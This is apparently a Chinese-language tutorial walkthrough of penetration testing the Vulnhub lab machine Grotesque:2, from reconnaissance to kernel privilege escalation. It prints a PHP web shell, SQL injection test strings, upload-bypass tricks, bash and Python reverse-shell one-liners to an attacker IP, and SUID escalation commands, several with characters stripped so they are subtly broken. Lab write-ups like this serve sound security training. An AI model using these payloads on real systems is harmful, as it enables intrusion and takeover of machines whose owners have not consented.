从信息收集到内核提权:Vulnhub靶机渗透实战与思维构建 1. 从“看”到“玩转”一次靶机渗透的完整心路历程“看完这篇教你玩转渗透测试靶机Vulnhub——Grotesque:2”。这个标题本身就很有意思它预设了一个从“看”到“玩转”的转变。但作为一个在渗透测试领域摸爬滚打了十多年的老手我必须告诉你看一百篇攻略不如自己动手踩一次坑。Vulnhub上的靶机尤其是像Grotesque:2这样被标记为“中等”或“困难”的机器其价值远不止于拿到最终的root.txt。它更像是一个精心设计的迷宫考验的是你的信息收集能力、逻辑思维、工具链的熟练度以及在遇到意料之外情况时的临场应变能力。今天我不打算给你一份“标准答案”式的通关秘籍而是想带你走一遍我面对Grotesque:2时的完整思考与操作流程分享那些攻略里通常不会写的“为什么这么做”以及“如果失败了怎么办”。Grotesque:2是Vulnhub上一个基于Web应用漏洞的靶机它模拟了一个存在多处安全缺陷的网站环境。很多新手拿到靶机第一反应就是打开Nmap扫端口然后对着开放的80端口狂用Dirb、Gobuster接着上Burp Suite抓包改参数。这个流程没错但过于机械。面对Grotesque:2你需要理解的是它的“Grotesque”怪诞之处可能就在于某些看似平常的入口背后连接着非常规的路径或者一个明显的漏洞只是通往下一个更隐蔽漏洞的跳板。我们将从最基础的虚拟机配置开始一步步深入到内核利用的细节重点不是复现命令而是重建整个渗透测试的思维链路。2. 环境准备与初步侦察超越默认扫描在启动Grotesque:2的OVA文件之前有几个细节决定了你后续的体验。首先确保你的攻击机通常是Kali Linux和靶机在同一网络段。我推荐使用VirtualBox或VMware的“Host-Only”或“NAT网络”模式创建一个隔离的虚拟网络这样既能保证连通性又不会影响你的物理网络。启动靶机后注意观察启动日志有时靶机会在启动时显示IP地址如果没有你需要在攻击机上用netdiscover或arp-scan进行二层发现。注意有些Vulnhub靶机默认不会自动获取IP可能需要你进入虚拟机控制台手动配置如使用dhclient命令。这是第一个可能遇到的“非技术性”障碍。假设我们通过arp-scan -l或netdiscover -r 192.168.1.0/24发现了靶机IP为192.168.1.105。接下来就是经典的Nmap扫描。但别急着用那个“万能”的-A -sC -sV命令。对于渗透测试尤其是时间有限的模拟环境分阶段、有重点的扫描更高效。第一阶段快速端口发现nmap -sS -T4 -p- 192.168.1.105这里用了-sSSYN半开放扫描速度快且相对隐蔽和-T4较快的时间模板。-p-表示扫描所有65535个端口。目的是快速找出所有开放端口而不是一开始就进行全面的服务探测。第二阶段针对性服务探测假设第一阶段发现开放了80和另一个非常规端口比如7890。那么第二阶段扫描就应该针对这些具体端口nmap -sC -sV -p 80,7890 -oA grotesque_initial 192.168.1.105-sC使用默认的Nmap脚本进行更深入的探测。-sV探测服务版本。-oA以三种格式普通、XML、Grepable输出结果方便后续查阅。为什么分两步因为如果靶机有防火墙或入侵检测系统IDS一次性的、侵略性过强的扫描可能触发警报或被屏蔽。分步进行先摸清轮廓再重点深入是更专业的做法。扫描结果可能会显示80端口运行着一个HTTP服务而另一个端口可能运行着一个未知的或自定义的服务这本身就是一条重要线索。3. Web入口点深度枚举与漏洞初探Nmap扫描显示80端口开放运行着Apache服务器。直接访问http://192.168.1.105我们看到了一个网站。很多人的下一步是立刻上目录爆破工具。但在运行工具之前手动浏览一遍网站是至关重要的。查看页面源代码、检查Robots.txt、查看HTTP响应头信息这些都能发现工具可能忽略的细节。例如在页面源代码的注释里开发者可能会留下测试路径、备份文件位置甚至硬编码的凭证。检查HTTP头可能会发现特定的服务器版本如Apache 2.4.49或者框架信息如PHP 7.4这些信息对于寻找已知漏洞至关重要。手动浏览后再进行自动化枚举。我习惯将Gobuster和Dirsearch结合使用因为它们的字典和算法各有侧重。# 使用Gobuster进行目录和文件枚举 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50 # 同时可以使用Dirsearch进行更深入的扫描 python3 dirsearch.py -u http://192.168.1.105 -e php,html,js,txt,bak -w /usr/share/wordlists/dirb/big.txt在扫描过程中重点关注以下类型的发现管理后台如/admin/wp-admin/backend。API或配置文件如/api/config.envconfig.php.bak。上传点如/upload/filemanager。日志或备份文件如/backup/logsaccess.log。假设我们发现了/admin目录访问后是一个登录页面。此时不要立即尝试暴力破解。首先尝试默认凭证admin/admin admin/password等。如果不行查看页面是否有“忘记密码”功能或者是否存在SQL注入漏洞。你可以手动测试在用户名和密码字段输入单引号‘观察是否有数据库报错信息回显。也可以使用Burp Suite抓取登录请求发送到Intruder模块进行模糊测试或字典攻击。实操心得在针对登录框进行测试时先进行简单的SQL注入测试如‘ or ‘1’’1和基本的XSS测试如scriptalert(1)/script。有时开发人员会在前端进行输入过滤但后端未做校验Burp Suite可以绕过前端的JavaScript验证。另外注意观察登录失败和成功的HTTP响应差异比如状态码、响应长度、返回信息的细微差别这有助于设计有效的暴力破解攻击。如果Web层面没有直接突破点那么之前Nmap发现的另一个开放端口例如7890就变得尤为关键。用Netcat或Telnet连接上去看看它返回什么信息。nc -nv 192.168.1.105 7890如果返回的是一个自定义的协议横幅或者一个交互式命令行那这可能是一个非标准服务甚至是靶机故意留下的后门或调试接口。你需要尝试发送各种可能的命令HELP、INFO、LOGIN等或者用strings命令分析从该端口获取的原始数据寻找线索。4. 漏洞利用与权限提升从Web Shell到Root Shell假设我们通过Web漏洞比如在/admin的某个参数发现了SQL注入并利用SQLMap成功获取了数据库中的用户密码哈希通过破解弱密码获得了后台管理员权限获得了网站后台的访问权。在后台我们可能发现了一个文件上传功能允许上传图片。这是获取Web Shell的经典入口。文件上传绕过如果上传功能有白名单限制只允许.jpg .png可以尝试多种绕过方式双扩展名shell.php.jpg大小写混淆shell.PHp尾部空格/点shell.php.在某些系统处理中会被忽略修改Content-Type在Burp Suite中将上传请求中的Content-Type: image/jpeg。利用解析漏洞例如服务器是Nginx可能存在shell.jpg/.php这样的解析漏洞。上传一个简单的PHP Web Shell例如使用system($_GET[‘cmd’]);的一句话木马到服务器可访问的路径例如/uploads/shell.php。然后通过浏览器访问http://192.168.1.105/uploads/shell.php?cmdid如果返回了当前用户的UID说明Web Shell生效。建立反向ShellWeb Shell的交互性很差。我们需要一个完整的反向Shell。在攻击机上监听一个端口nc -lvnp 4444然后通过Web Shell执行命令将系统的Shell反弹到攻击机。根据靶机系统环境命令不同Linux靶机最常见# Bash bash -c ‘bash -i /dev/tcp/192.168.1.100/4444 01’ # 或者使用Python python3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’Windows靶机可以使用PowerShell命令。如果成功你会在攻击机的Netcat监听端看到一个Shell。第一个命令通常是whoami和pwd确认当前权限和位置。权限提升Privilege Escalation拿到一个低权限用户如www-data的Shell后目标是获取root权限。这是一个系统性的信息收集过程我称之为“本地枚举”。系统信息uname -a内核版本cat /etc/os-release发行版信息。用户和组idcat /etc/passwdcat /etc/group。运行进程ps aux或ps -ef 查看是否有以root身份运行的可疑或脆弱进程。网络连接netstat -tulnp或ss -tulnp 查看开放端口和连接可能与内部服务有关。计划任务crontab -l当前用户 查看/etc/crontab和/etc/cron.d/目录寻找以root权限定期运行的任务看是否有脚本的写权限。SUID/GUID文件find / -perm -us -type f 2/dev/null查找设置了SUID位的文件。如果find命令本身是SUID那可以直接用它提权find . -exec /bin/sh \; -quit。可写文件find / -writable 2/dev/null | grep -v proc | grep -v sys 特别是/etc/passwd/etc/sudoers.d/目录下的文件。环境变量env 查看PATH变量中是否有当前用户可写的目录这可能导致劫持。查看历史命令history 可能包含密码或其他敏感信息。查看配置文件Web应用的配置文件如config.php.env中可能包含数据库密码而数据库里可能存有其他用户的密码哈希。针对Grotesque:2 提权路径可能就隐藏在上述某一步中。例如你可能发现一个以root权限运行的、但配置错误的系统服务通过ps aux或systemctl list-units发现或者一个全局可写的脚本被cron以root身份执行。又或者内核版本较旧存在公开的本地提权漏洞如Dirty Pipe Dirty COW。你可以使用searchsploit linux kernel 3.13这样的命令在本地搜索漏洞或者上传像linpeas.sh这样的自动化提权脚本进行深度枚举。踩坑实录有一次在提权时我发现了一个SUID位的/usr/bin/vim.basic。理论上可以通过:!bash在Vim中启动一个具有SUID权限的shell。但实际执行时系统提示“suid不安全已忽略”。这是因为现代Linux系统拥有secureexec选项会丢弃SUID程序启动的子进程的SUID权限。这个坑告诉我不能盲目相信每一个SUID文件。后来我通过检查Vim的配置文件或插件路径发现了可写的目录通过编写恶意插件实现了提权。所以自动化脚本是很好的起点但手动验证和深入思考必不可少。5. 内核漏洞利用与最终突破当常规的路径SUID cron 环境变量都走不通时内核漏洞往往是最后的武器。使用uname -a获取精确的内核版本例如Linux grotesque 5.4.0-96-generic。然后去Exploit-DB或GitHub上搜索对应的提权漏洞。利用过程注意事项环境适配公开的Exploit代码往往需要在目标机上编译。你需要检查目标机是否有GCC编译器which gcc。如果没有你可能需要在攻击机上交叉编译或者寻找已经编译好的、适用于多种架构的二进制文件但这风险较高。上传Exploit可以通过Web Shell上传或者如果靶机开启了Python HTTP服务可以在攻击机用python3 -m http.server 8000启动一个简易服务器然后在靶机Shell中用wget或curl下载。编译与执行在靶机上gcc exploit.c -o exploit 然后./exploit。如果成功你会看到提示符从$变成了#。稳定性有些内核漏洞利用不稳定可能导致系统崩溃内核恐慌。在渗透测试环境中问题不大但在真实环境中需极其谨慎。假设我们通过一个内核漏洞成功获得了root权限。最后一步是寻找标志文件。在Vulnhub靶机中通常是/root/root.txt和/home/user/user.txt。用cat命令读取它们这就是你完成渗透的证明。清理痕迹可选在授权测试中很重要在真实渗透测试或CTF结束后出于职业道德可以考虑清理你留下的Web Shell、添加的用户、上传的Exploit文件等。但在Vulnhub练习环境中这一步通常可以省略。整个Grotesque:2的渗透过程从信息收集到内核提权实际上是一个不断提出假设、验证假设、并根据反馈调整方向的过程。它没有唯一的路径我所描述的也只是其中一种可能性。真正的“玩转”是你能在面对任何新靶机时都有一套清晰的、可迭代的方法论而不是死记硬背命令。工具是手臂思维才是大脑。每一次“踩坑”和“绕路”都是对你思维模式最有效的锤炼。所以别只是“看完”打开你的虚拟机真正去“玩转”它吧。遇到错误和失败时去搜索去理解错误信息去尝试不同的方法那个过程才是你技能提升最快的时候。